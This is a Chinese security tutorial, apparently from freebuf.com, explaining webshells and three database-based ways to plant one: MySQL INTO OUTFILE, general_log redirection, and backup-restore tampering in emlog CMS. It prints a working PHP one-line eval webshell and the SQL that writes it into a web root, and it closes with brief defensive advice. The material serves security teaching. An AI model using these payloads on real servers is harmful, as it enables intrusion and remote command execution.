一、什么是WebShell?
简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。
为了更好理解WebShell我们学习两个概念:
什么是“木马”?
“木马”全称是“特洛伊木马(Trojan Horse)”,原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。
在Internet上,“特洛伊木马”指一些程序设计人员在其可从网络上下载 (Download)的应用程序或游戏中,包含了可以控制用户的计算机系统的程序,可能造成用户的系统被破坏甚至瘫痪。
什么是后门?
大家都知道,一台计算机上有65535个端口,那么如果把计算机看作是一间屋子,那么这65535个端口就可以它看做是计算机为了与外界连接所开的65535 扇门。每个门的背后都是一个服务。有的门是主人特地打开迎接客人的(提供服务),有的门是主人为了出去访问客人而开设的(访问远程服务)——理论上,剩下的其他门都该是关闭着的,但偏偏由于各种原因,很多门都是开启的。于是就有好事者进入,主人的隐私被刺探,生活被打扰,甚至屋里的东西也被搞得一片狼迹。这扇悄然被开启的门——就是“后门”。
webshell的优点
webshell 最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。
二、WebShell的分类
根据文件大小分类:大马和小马(通常指的是一句话木马,能够使用菜刀这类工具去直接连接它)
根据脚本名称分类:jsp、asp、aspx、php
小马的功能比较单一,大马的功能比较丰富,集成上传下载、数据库提权、CMD命令操作、克隆、代理等功能,如下图所示。
三、利用数据库上传WebShell的三种方式
(1)into out file写入
数据库中secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径;该参数有三种状态:
secure_file_priv=NULL;
表示写入开关关闭;
secure_file_priv="";
表示写入开关打开,且可以写入任意目录;
secure_file_priv="C:/phpStudy/PHPTutorial/WWW";
表示写入开关打开,且写入到指定的路径下,如果写入路径不是Web路径,也无法使用该功能写入WehShell。
该开关无法通过SQL命令
set global secure_file_priv="C:/phpStudy/PHPTutorial/WWW"
参数打开开关,仅能通过修改mysql.ini配置文件修改,局限性比较大。
如果开关已经打开,正确写入WebShell的SQL语句如下:
select "<?php @eval($_POST['cmd']);?>" into outfile "C://phpStudy//PHPTutorial//WWW//shell.php"
然后利用此菜刀、蚁剑或者冰蝎链接即可
(2)通过general_log日志写入
可以通过修改日志开关即可上传webshell,该方式需要数据库root权限即可,通过SQL语句即可打开general_log开关并设置日志位置(需要提前知道Web的根路径位置);
修改完毕后,通过
select "<?php @eval($_POST['cmd']);?>"
即可写入WebShell,写入后的php文件内容如下图所示
(3)通过备份数据库漏洞写入
数据库备份为大多数CMS后台管理页面必备的功能,但是如果后台校验不严格,容易通过恢复备份方式上传WebShell,以下以emlog的CMS讲,测试版本5.3.0
3.1查看web路径地址
直接在管理页面,点击更多信息
在出来的phpinfo页面搜索document_root即可
3.2 先备份数据库
利用管理页面的数据库备份功能先备份数据库
3.3修改备份文件内容
打开备份的SQL文件,在最后语句之前添加以下SQL语句
通过into outfile写入webshell;最后通过菜刀链接即可。
四、如何防御WebShell?
数据库应用应做好安全加固,不该开的开关尽量不要打开;同时做好数据库备份和回复的后台校验工作,平时做好日常安全防护。
来源:freebuf.com 2020-08-10 19:19:19 by: 东塔安全学院
请登录后发表评论
注册